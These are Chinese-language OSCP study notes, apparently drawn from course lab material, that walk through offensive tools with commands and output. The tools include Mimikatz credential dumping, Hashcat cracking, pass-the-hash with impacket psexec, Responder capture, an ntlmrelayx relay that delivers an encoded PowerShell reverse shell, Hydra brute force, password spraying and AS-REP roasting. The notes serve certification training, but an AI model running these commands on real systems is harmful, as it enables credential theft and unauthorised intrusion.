  Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10
...

很好,我們成功地啟用了 SeDebugPrivilege 存取權限,並取得了 SYSTEM 使用者特權。lsadump::sam 命令的輸出顯示了兩個 NTLM 雜湊,一個是 offsec 的,另一個是 nelly 的。由於我們已經知道 offsec 的 NTLM 雜湊是由明文密碼 "lab" 計算出來的,我們會跳過它,專注於 nelly 的 NTLM 雜湊。

讓我們將 NTLM 雜湊複製並粘貼到我們 Kali 機器上 passwordattacks 目錄中的 nelly.hash。

kali@kali:~/passwordattacks$ cat nelly.hash     
3ae8e5f0ffabb3a627672e1600f1ba10

接下來,我們將從 Hashcat 的說明輸出中獲取正確的雜湊模式。

kali@kali:~/passwordattacks$ hashcat --help | grep -i "ntlm"   
                                                                            
   5500 | NetNTLMv1 / NetNTLMv1+ESS                           | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                      | Network Protocol
   5600 | NetNTLMv2                                           | Network Protocol
  27100 | NetNTLMv2 (NT)                                      | Network Protocol
   1000 | NTLM                                                | Operating System

輸出顯示正確的模式為 1000

現在我們擁有開始破解 NTLM 雜湊所需的一切。我們已經提取了雜湊,因為 Mimikatz 輸出的格式是 Hashcat 可接受的格式。下一步是選擇一個單字清單和規則文件。在這個例子中,我們將使用 rockyou.txt 單字清單和包含 64 個有效規則的 best64.rule 規則文件。

讓我們提供所有參數和值以啟動 Hashcat 破解過程。

kali@kali:~/passwordattacks$ hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
hashcat (v6.2.5) starting
...
3ae8e5f0ffabb3a627672e1600f1ba10:nicole1                  
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 3ae8e5f0ffabb3a627672e1600f1ba10
Time.Started.....: Thu Jun  2 04:11:28 2022, (0 secs)
Time.Estimated...: Thu Jun  2 04:11:28 2022, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/best64.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 17926.2 kH/s (2.27ms) @ Accel:256 Loops:77 Thr:1 Vec:8
...

輸出顯示我們成功破解了 nelly 使用者的 NTLM 雜湊。用於創建此雜湊的明文密碼是 nicole1


# Kerberos 破解
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

image-1702381538187.png

【OSCP】Tools

【terminal】【impacket】psexec

要執行 psexec,我們可以輸入 impacket-psexec 並帶有兩個參數。第一個參數是 -hashes,它允許我們使用 NTLM 雜湊來對目標進行身份驗證。格式為 "LMHash:NTHash",其中我們在冒號後指定 Administrator 的 NTLM 雜湊。由於我們只使用 NTLM 雜湊,因此 LMHash 部分可以填充為 32 個 0。

第二個參數是目標定義,格式為 "username@ip"。

在命令的末尾,我們可以指定另一個參數,用於確定 psexec 應在目標系統上執行哪個命令。如果我們將其留空,將執行 cmd.exe,為我們提供一個交互式的 shell。

kali@kali:~$ impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b \
Administrator@192.168.50.212

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 192.168.50.212.....
[*] Found writable share ADMIN$
[*] Uploading file nvaXenHl.exe
[*] Opening SVCManager on 192.168.50.212.....
[*] Creating service MhCl on 192.168.50.212.....
[*] Starting service MhCl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> hostname
FILES02

C:\Windows\system32> ipconfig
 
Windows IP Configuration

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::7992:61cd:9a49:9046%4
   IPv4 Address. . . . . . . . . . . : 192.168.50.212
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.50.254

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> exit

kali@kali:~$

我們成功在 FILES02 上獲得了一個交互式 shell。由於 psexec.py 的性質,我們將始終以 SYSTEM 而不是我們用來驗證的用戶身份接收 shell。

我們還可以使用其他 impacket 腳本之一,比如 wmiexec.py 來獲得一個以我們用於身份驗證的用戶身份的 shell。在 Kali 上,我們將使用 impacket-wmiexec,以及我們用於 impacket-psexec 的參數。

kali@kali:~$ impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
files02\administrator

C:\>

正如 whoami 的輸出所示,我們使用 wmiexec 而不是 SYSTEM 作為 Administrator 用戶獲得了 shell。

在本節中,我們使用 pass-the-hash 來訪問 SMB 共享。然後,我們使用 hash 來使用 impacket-psexec 和 impacket-wmiexec 獲取一個交互式 shell。

【OSCP】Tools

【SMB】【Net-NTLMv2雜湊監聽】Responder

 

現在讓我們進行這個過程。首先,我們需要運行ip a以檢索所有接口的列表。然後,我們將以sudo運行Responder(在Kali上已經預安裝),以啟用處理各種協議的特權原始套接字操作所需的權限。我們將使用-I設置監聽接口,請注意您的接口名稱可能與此處顯示的不同。

kali@kali:~$ ip a
...
3: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 42:11:48:1b:55:18 brd ff:ff:ff:ff:ff:ff
    inet 192.168.119.2/24 scope global tap0
       valid_lft forever preferred_lft forever
    inet6 fe80::4011:48ff:fe1b:5518/64 scope link 
       valid_lft forever preferred_lft forever

kali@kali:~$ sudo responder -I tap0 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C
...
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
...
[+] Listening for events...

輸出顯示Responder現在正在聽取事件,並且SMB伺服器已啟用。

我們的下一步是使用paul的綁定外殼向我們的Responder SMB伺服器請求訪問一個不存在的SMB共享。我們將使用對\192.168.119.2\test執行簡單的dir列出命令,其中"test"是一個任意的目錄名稱。我們只關心身份驗證過程,而不是共享列表。

讓我們切換回包含我們的Netcat綁定外殼連接的終端選項卡,並輸入該命令。

C:\Windows\system32>dir \\192.168.119.2\test
dir \\192.168.119.2\test
Access is denied.

Responder標籤應該顯示如下內容:

...
[+] Listening for events... 
[SMB] NTLMv2-SSP Client   : ::ffff:192.168.50.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash     : paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:010100000
000000000B050CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E
002D00340044004E004800550058004300340054004900430004003400570049004E002D00340044004E00480
055005800430034005400490043002E00360057004D0052002E004C004F00430041004C000300140036005700
4D0052002E004C004F00430041004C0005001400360057004D0052002E004C004F00430041004C00070008000
0B050CD1777D801060004000200000008003000300000000000000000000000002000008BA7AF42BFD51D7009
0007951B57CB2F5546F7B599BC577CCD13187CFC5EF4790A00100000000000000000000000000000000000090
0240063006900660073002F003100390032002E003100360038002E003100310038002E003200000000000000
0000

這表示Responder成功捕獲了paul的Net-NTLMv2雜湊。我們將其保存到paul.hash文件中,以便使用Hashcat進行破解。在我們開始破解之前,讓我們檢索正確的模式。

kali@kali:~$ cat paul.hash   
paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:010100000000000000B0
50CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E002D00
340044004E00480055005800430034005400490043000400340057...

kali@kali:~$ hashcat --help | grep -i "ntlm"
   5500 | NetNTLMv1 / NetNTLMv1+ESS                           | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                      | Network Protocol
   5600 | NetNTLMv2                                           | Network Protocol
  27100 | NetNTLMv2 (NT)                                      | Network Protocol
   1000 | NTLM                                                | Operating System

這個文件包含了paul的捕獲的Net-NTLMv2雜湊(在此清單中被裁剪了),根據Hashcat的說法,它的模式是5600("NetNTLMv2")。

現在讓我們嘗試使用rockyou.txt單詞列表來破解這個雜湊。密碼為:123Password123

kali@kali:~$ hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.5) starting
...

PAUL::FILES01:1f9d4c51f6e74653:795f138ec69c274d0fd53bb32908a72b:01010000000000000
0b050cd1777d801b7585df5719acfba0000000002000800360057004d00520001001e00570049004e
002d00340044004e004800550058004300340054004900430004003400570049004e002d003400440
04e00480055005800430034005400490043002e00360057004d0052002e004c004f00430041004c00
03001400360057004d0052002e004c004f00430041004c0005001400360057004d0052002e004c004
f00430041004c000700080000b050cd1777d801060004000200000008003000300000000000000000
000000002000008ba7af42bfd51d70090007951b57cb2f5546f7b599bc577ccd13187cfc5ef4790a0
01000000000000000000000000000000000000900240063006900660073002f003100390032002e00
3100360038002e003100310038002e0032000000000000000000:123Password123
...
【OSCP】Tools

【shell】【impacket】ntlmrelayx

 

# --no-http-server來停用HTTP伺服器,因為我們正在中繼SMB連接
# -smb2support添加對SMB2.3的支援。
# -t將目標設定為FILES02。
# -c設定我們要在目標系統上作為中繼用戶執行的命令
kali@kali:~$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 \
-c "powershell -enc JABjAGwAaQBlAG4AdA..." 
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
...
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

接下來,在一個新的終端標籤中,我們將在端口8080上啟動Netcat聽取器,以接收傳入的反向殼。

kali@kali:~$ nc -nvlp 8080 
listening on [any] 8080 ...

現在,我們將在另一個終端中執行Netcat以連接到FILES01上的綁定殼(端口5555)。連接後,我們將輸入dir \192.168.119.2\test以建立到我們Kali機器的SMB連接。再次強調,遠程文件夾名稱是任意的。

kali@kali:~$  nc 192.168.50.211 5555                                       
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
files01\files02admin

C:\Windows\system32>dir \\192.168.119.2\test
...

我們應該在ntlmrelayx的終端標籤中收到一個傳入的連接。

[*] SMBD-Thread-4: Received connection from 192.168.50.211, attacking target smb://192.168.50.212
[*] Authenticating against smb://192.168.50.212 as FILES01/FILES02ADMIN SUCCEED
[*] SMBD-Thread-6: Connection from 192.168.50.211 controlled, but there are no more targets left!
...
[*] Executed specified command on host: 192.168.50.212

輸出顯示ntlmrelayx接收到了一個SMB連接,並使用它中繼到我們的目標進行身份驗證。在成功驗證後,我們的命令在目標上被執行。

我們的Netcat聽取器應該已經捕獲到了反向殼。

connect to [192.168.119.2] from (UNKNOWN) [192.168.50.212] 49674
whoami
nt authority\system

PS C:\Windows\system32> hostname
FILES02

PS C:\Windows\system32> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::7992:61cd:9a49:9046%4
   IPv4 Address. . . . . . . . . . . : 192.168.50.212
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.50.254

清單56顯示,我們可以利用中繼攻擊在FILES02上取得代碼執行權限。

【OSCP】Tools

【列舉】【提權】【Linux】unix-privesc-check

/usr/bin/unix-privesc-check

kali@kali:~$ unix-privesc-check
unix-privesc-check v1.4 ( http://pentestmonkey.net/tools/unix-privesc-check )

Usage: unix-privesc-check { standard | detailed }

"standard" mode: Speed-optimised check of lots of security settings.

"detailed" mode: Same as standard mode, but also checks perms of open file
                 handles and called files (e.g. parsed from shell scripts,
                 linked .so files).  This mode is slow and prone to false 
                 positives but might help you find more subtle flaws in 3rd
                 party programs.

This script checks file permissions and other settings that could allow
local users to escalate privileges.
...
joe@debian-privesc:~$ ./unix-privesc-check standard > output.txt

該腳本對常見文件的權限執行了大量檢查。例如,以下節錄顯示了可由非 root 用戶寫入的配置文件:

Checking for writable config files
############################################
    Checking if anyone except root can change /etc/passwd
WARNING: /etc/passwd is a critical config file. World write is set for /etc/passwd
    Checking if anyone except root can change /etc/group
    Checking if anyone except root can change /etc/fstab
    Checking if anyone except root can change /etc/profile
    Checking if anyone except root can change /etc/sudoers
    Checking if anyone except root can change /etc/shadow

此輸出顯示任何系統上的人都可以編輯 /etc/passwd。這相當重要,因為它允許攻擊者輕鬆提升特權2或在目標上創建用戶帳戶。我們將在本模塊後面進行演示。

【OSCP】Tools

【密碼】【字典】crunch

字典生成

# 最小和最大長度設置為 6 個字符
# 使用 -t 參數指定模式,然後將前三個字符硬編碼為 "Lab",後跟三位數字。
kali@kali:~$ crunch 6 6 -t Lab%%% > wordlist

 

然後,我們可以驗證生成的單詞列表的內容:

kali@kali:~$ cat wordlist
Lab000
Lab001
Lab002
Lab003
Lab004
Lab005
Lab006
Lab007
Lab008
Lab009
...
【OSCP】Tools

【破解】【SSH】Hydra

 

# hydra -l {user} -P {password字典} {ip} -t 4 ssh -V
kali@kali:~$ hydra -l eve -P wordlist  192.168.50.214 -t 4 ssh -V

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-23 14:30:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1000 login tries (l:1/p:1000), ~250 tries per task
[DATA] attacking ssh://192.168.50.214:22/
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab000" - 1 of 1000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab001" - 2 of 1000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab002" - 3 of 1000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab003" - 4 of 1000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab004" - 5 of 1000 [child 2] (0/0)
...
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab120" - 121 of 1000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab121" - 122 of 1000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab122" - 123 of 1000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab123" - 124 of 1000 [child 1] (0/0)
[22][ssh] host: 192.168.50.214   login: eve   password: Lab123
1 of 1 target successfully completed, 1 valid password found

# login: eve   password: Lab123
【OSCP】Tools

【列舉】【shell】getcap

https://feichashao.com/capabilities_basic/

# 尋找設置uid檔案
joe@debian-privesc:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/perl5.28.1 = cap_setuid+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
【OSCP】Tools

【port forwarding】socat

們將啟動一個詳細模式的(-ddd) Socat 進程。
它將在 TCP 埠 2345 上監聽(TCP-LISTEN:2345),在收到連接時分叉為一個新的子進程(fork)
,而不是在單個連接後死亡,
然後將收到的所有流量轉發到 PGDATABASE01 的 TCP 埠 5432(TCP:10.4.50.215:5432)。

# socat -ddd TCP-LISTEN:{src_port},fork TCP:{dist_ip}:{dist_port}
confluence@confluence01$ socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
<ocat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432   
2022/08/18 10:12:01 socat[46589] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2022/08/18 10:12:01 socat[46589] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2022/08/18 10:12:01 socat[46589] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2022/08/18 10:12:01 socat[46589] I setting option "fork" to 1
2022/08/18 10:12:01 socat[46589] I socket(2, 1, 6) -> 5
2022/08/18 10:12:01 socat[46589] I starting accept loop
2022/08/18 10:12:01 socat[46589] N listening on AF=2 0.0.0.0:2345
【OSCP】Tools

【port forwarding】rinetd

https://github.com/samhocevar/rinetd

rinetd 是一個簡單的 TCP 端口轉發工具,它可以將進入的 TCP 連接重定向到指定的目標 IP 地址和端口。以下是 rinetd 的基本使用方式:

  1. 安裝 rinetd

    在大多數 Linux 系統上,你可以使用包管理器進行安裝。例如,在基於 Debian/Ubuntu 的系統上,可以運行:

    sudo apt-get install rinetd
    

    在基於 Red Hat/CentOS 的系統上,可以使用 yum

    sudo yum install rinetd
    
  2. 配置 rinetd

    配置文件通常位於 /etc/rinetd.conf,你可以使用文本編輯器(如 nanovim)來編輯它:

    sudo nano /etc/rinetd.conf
    

    在配置文件中,每行包含一條規則,指定了本地和遠程端口。格式如下:

    bindaddress bindport connectaddress connectport
    
    • bindaddress:本地 IP 地址,可以是 0.0.0.0 表示所有網卡。
    • bindport:本地監聽端口。
    • connectaddress:目標伺服器的 IP 地址。
    • connectport:目標伺服器的端口。

    例如:

    0.0.0.0 8080 192.168.1.100 80
    

    這條規則將本地機器的 8080 端口的請求重定向到 IP 地址為 192.168.1.100,端口為 80 的伺服器。

  3. 啟動 rinetd 服務:

    保存配置文件並啟動 rinetd 服務:

    sudo service rinetd restart
    

    或者,使用 systemctl

    sudo systemctl restart rinetd
    

    這將讓 rinetd 讀取配置文件並應用轉發規則。

  4. 確認 rinetd 是否運作:

    你可以使用以下命令檢查 rinetd 是否正在運行:

    sudo service rinetd status
    

    或者,使用 systemctl

    sudo systemctl status rinetd
    

    如果服務正在運行,而且配置文件沒有錯誤,則 rinetd 將開始將來自本地端口的請求轉發到指定的目標伺服器。

請注意,rinetd 主要用於簡單的 TCP 端口轉發,並不支持高級功能。對於更複雜的需求,可能需要考慮使用其他工具或設置伺服器上的防火牆規則。

【OSCP】Tools

【port forwarding】proxychains

kali@kali:~$ tail /etc/proxychains4.conf

image-1702220562365.png

配置了Proxychains後,現在我們可以使用我們Kali機器上的smbclient列出HRSHARES上的可用共享。與其連接到CONFLUENCE01上的埠口,我們將撰寫smbclient命令,就好像我們直接連接到PGDATABASE01一樣。與之前一樣,我們將使用-L指定列出可用共享,使用-U傳遞用戶名,並使用--password傳遞密碼。

接下來,我們只需在命令前添加proxychains。Proxychains將讀取配置文件,鉤入smbclient進程,並強制將所有流量通過我們指定的SOCKS代理。

kali@kali:~$ proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

image-1702220641823.png

【OSCP】Tools

【port forwarding】sshuttle

然而,它需要在SSH客戶端上具有root權限並在SSH伺服器上使用Python3,因此它並非始終是最輕量級的選擇。

# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215) -> vm3(172.16.50.217)

# vm1(192.168.59.63):2222 -> vm2(10.4.50.215):22
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
# kali
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24
【OSCP】Tools

【滲透】Metasploit

image-1702571909454.png

use exploit/windows/smb/psexec 
set SMBUser luiza
set SMBPass "BoccieDearAeroMeow1!"
set RHOSTS 172.16.5.200
set payload windows/x64/meterpreter/bind_tcp
set LPORT 8000

image-1702571978686.png

 

【OSCP】Tools

【powershell】PowerView

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-NetDomain
PS C:\Tools> Get-NetUser
PS C:\Tools> Get-NetUser "Trade"
PS C:\Tools> Get-NetUser | select cn
PS C:\Tools> Get-NetUser | select cn,pwdlastset,lastlogon
PS C:\Tools> Get-NetGroup | select cn
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,
DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}
PS C:\Tools> Get-NetComputer | select operatingsystem,dnshostname

operatingsystem              dnshostname
---------------              -----------
Windows Server 2022 Standard DC1.corp.com
Windows Server 2022 Standard web04.corp.com
Windows Server 2022 Standard FILES04.corp.com
Windows 11 Pro               client74.corp.com
Windows 11 Pro               client75.corp.com
Windows 10 Pro               CLIENT76.corp.com
PS C:\Tools> Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

image-1702296568176.png

# 查看登入帳戶在哪台機器有admin帳號
PS C:\Tools> Find-LocalAdminAccess

client74.corp.com
# 尋找domain機器分享資料夾
PS C:\Tools> Find-DomainShare

Name           Type Remark                 ComputerName
----           ---- ------                 ------------
ADMIN$   2147483648 Remote Admin           DC1.corp.com
C$       2147483648 Default share          DC1.corp.com
IPC$     2147483651 Remote IPC             DC1.corp.com
NETLOGON          0 Logon server share     DC1.corp.com
SYSVOL            0 Logon server share     DC1.corp.com
ADMIN$   2147483648 Remote Admin           web04.corp.com
backup            0                        web04.corp.com
C$       2147483648 Default share          web04.corp.com
IPC$     2147483651 Remote IPC             web04.corp.com
ADMIN$   2147483648 Remote Admin           FILES04.corp.com
PS C:\Tools> Get-NetSession -ComputerName files04 -v
VERBOSE: [Get-NetSession] Error: Access is denied

PS C:\Tools> Get-NetSession -ComputerName web04 -v
VERBOSE: [Get-NetSession] Error: Access is denied
PS C:\Tools> Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl

#輸出顯示了擁有FullControl或ReadKey權限的組和用戶,這意味著它們都可以讀取SrvsvcSessionInfo密鑰本身。

image-1702296466763.png

讓我們運行下面的命令,看看你自己的帳戶有哪些ACE:

PS C:\Tools> Get-ObjectAcl -Identity stephanie

image-1702297512890.png

枚舉SPN的另一種方法是讓PowerView枚舉域中的所有帳戶。為了獲取清晰的SPN列表,我們可以將輸出導入select,並選擇samaccountname和serviceprincipalname屬性:

PS C:\Tools> Get-NetUser -SPN | select samaccountname,serviceprincipalname

image-1702297178060.png

輸出的量可能看似龐大,因為我們列舉了每一個授予或拒絕對 Stephanie 某種權限的 ACE。雖然有許多屬性似乎可能有用,但我們主要關心的是在清單 58 的截斷輸出中突顯的那些。

輸出列舉了兩個安全標識符(SID),這是代表 AD 中對象的 5 個唯一值。第一個(位於突顯的 ObjectSID 屬性中)包含值 "S-1-5-21-1987370270-658905905-1781884369-1104",這相當難以閱讀。為了理解這個 SID,我們可以使用 PowerView 的 Convert-SidToName 命令將其轉換為實際的網域對象名稱:

PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104

image-1702297724313.png

轉換顯示,ObjectSID 屬性中的 SID 屬於我們目前使用的 stephanie 使用者。ActiveDirectoryRights 屬性描述了應用於對象的權限類型。為了找出在這種情況下誰具有 ReadProperty 權限,我們需要將 SecurityIdentifier 的值進行轉換。

讓我們使用 PowerView 將其轉換為一個可讀的名稱:

image-1702297775442.png

根據 PowerView,SecurityIdentifier 屬性中的 SID 屬於一個名為 RAS and IAS Servers 的預設 AD 群組。

為了生成清晰且易於管理的輸出,我們將使用 PowerShell 的 -eq 標誌來過濾 ActiveDirectoryRights 屬性,僅顯示等於 GenericAll 的值。然後,我們將結果通道到 select,僅顯示 SecurityIdentifier 和 ActiveDirectoryRights 屬性:

PS C:\Tools> Get-ObjectAcl -Identity "Management Department" 
| ? {$_.ActiveDirectoryRights -eq "GenericAll"} 
| select SecurityIdentifier,ActiveDirectoryRights

image-1702297864440.png

在這個情況下,我們有總共五個對象對 Management Department 對象擁有 GenericAll 權限。為了理解這一點,讓我們將所有的 SID 轉換成實際的名稱:

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512"
,"S-1-5-21-1987370270-658905905-1781884369-1104"
,"S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" 
| Convert-SidToName

image-1702297933379.png


我們將使用 PowerView 的 Find-DomainShare 函數來查找域中的共享。我們也可以添加 -CheckShareAccess 標誌以僅顯示對我們可用的共享。但是,暫時我們將跳過此標誌以返回一個完整的列表,包括我們以後可能攻擊的共享。請注意,使用 PowerView 查找共享並列舉它們可能需要一些時間。

PS C:\Tools> Find-DomainShare

image-1702298393440.png

清單 67 顯示了來自三台不同伺服器和一些客戶端的共享。儘管其中一些是默認的域共享,我們應該調查每個共享,尋找有趣的信息。

 

 

【OSCP】Tools

【powershell】PsLoggedOn

PsLoggedOn將列舉HKEY_USERS下的注冊表密鑰,以檢索已登錄用戶的安全標識符(SID)並將SID轉換為用戶名。 PsLoggedOn還將使用NetSessionEnum API查看誰通過資源共享登錄到計算機上。

然而,有一個局限性,就是PsLoggedOn依賴於遠程注冊表服務來掃描相關的密鑰。遠程注冊表服務自Windows 8以來就不再默認啟用在Windows工作站上,但系統管理員可能出於各種管理任務啟用它,以實現向後兼容性,或者用於安裝監控/部署工具、腳本、代理等。

它還在後來的Windows Server操作系統上默認啟用,如Server 2012 R2、2016(1607)、2019(1809)和Server 2022(21H2)。如果啟用了該服務,則該服務將在十分鐘的閒置後停止以節省資源,但一旦我們使用PsLoggedOn連接,它將重新啟用(帶有自動觸發器)。

現在,理論暫時告一段落,讓我們嘗試對之前嘗試列舉的計算機運行PsLoggedOn,首先是FILES04和WEB04。 PsLoggedOn位於CLIENT75的C:\Tools\PSTools目錄中。要使用它,我們只需將它與目標主機名一起運行:

image-1702296691910.png

運行這個命令,以查看WEB04上已登錄的用戶信息。 PsLoggedOn將返回登錄到這個計算機上的用戶列表。

image-1702296765555.png

運行這個命令,以查看CLIENT74上已登錄的用戶信息。 PsLoggedOn將返回登錄到這個計算機上的用戶列表。由於我們在CLIENT74啟用了Remote Registry服務,我們應該能夠成功列舉用戶會話。

image-1702296807909.png

看起來jeffadmin在CLIENT74上有一個開啟的會話,輸出顯示了一些非常有趣的信息。如果我們的枚舉是準確的,並且我們實際上在CLIENT74上擁有管理特權,我們應該能夠登錄並可能竊取jeffadmin的憑據!儘管立即嘗試這樣做可能很誘人,但最佳實踐是堅持原計畫,繼續我們的枚舉。畢竟,我們的目標不是迅速獲得勝利,而是提供徹底的分析。

【OSCP】Tools

【powershell】Sharphound

PS C:\Tools> Import-Module .\Sharphound.ps1

PS C:\Tools> Get-Help Invoke-BloodHound

PS C:\Tools> Invoke-BloodHound -CollectionMethod All -OutputDirectory 
C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"

image-1702299351716.png

【OSCP】Tools

【雜湊】【AD】mimikatz

PS C:\Windows\system32> cd C:\Tools

PS C:\Tools\> .\mimikatz.exe
...

mimikatz # privilege::debug
Privilege '20' OK
#傾印所有已登錄使用者的憑證
mimikatz # sekurlsa::logonpasswords

image-1702380548962.png

# 顯示存儲在內存中的票證
mimikatz # sekurlsa::tickets

image-1702380695657.png

輸出檔案

# 輸出log
mimikatz # log c:\output.log
Using 'output.log' for logfile : OK

# 停止log
mimikatz # log /stop
Using '(null)' for logfile : OK
【OSCP】Tools

【powershell】【密碼噴灑】Spray-Passwords.ps1

PS C:\Users\jeff> cd C:\Tools

PS C:\Tools> powershell -ep bypass
...

PS C:\Tools> .\Spray-Passwords.ps1 -Pass Nexus123! -Admin

image-1702381070288.png

【OSCP】Tools

【密碼噴灑】kerbrute

我們可以獲取並緩存Kerberos TGT。我們需要提供用戶名和密碼。如果憑證有效,我們將獲取一個TGT。這種技術的優勢在於,它僅使用兩個UDP帧來確定密碼是否有效,因為它僅發送AS-REQ並檢查響應。

我們可以使用Bash腳本或我們選擇的編程語言來自動化這種方法。幸運的是,我們還可以使用工具kerbrute,在其中實現這種技術以進行密碼噴灑。由於這個工具是跨平台的,我們可以在Windows和Linux上使用它。

讓我們使用C:\Tools中的Windows版本來執行這次攻擊。為了進行密碼噴灑,我們需要指定passwordspray命令以及一個用戶名列表和要噴灑的密碼。我們還需要為-d的參數輸入域corp.com。與之前一樣,我們將在C:\Tools中創建一個名為usernames.txt的文件,其中包含用戶名pete、dave和jen。

PS C:\Tools> type .\usernames.txt
pete
dave
jen

PS C:\Tools> .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

image-1702381282845.png

非常好!清單13顯示,kerbrute確認了密碼Nexus123!對pete和jen有效。

【OSCP】Tools

【shell】【impacket】【AS-REP Roasting】GetNPUsers

kali@kali:~$ impacket-GetNPUsers -dc-ip 192.168.50.70  -request -outputfile hashes.asreproast corp.com/pete

image-1702381438418.png

dave的用戶帳戶選項"不需要Kerberos預驗證"已啟用

【OSCP】Tools

【AS-REP Roasting】Rubeus

# /nowrap,以防止將新行添加到生成的AS-REP哈希
PS C:\Users\jeff> cd C:\Tools

PS C:\Tools> .\Rubeus.exe asreproast /nowrap

image-1702381602009.png

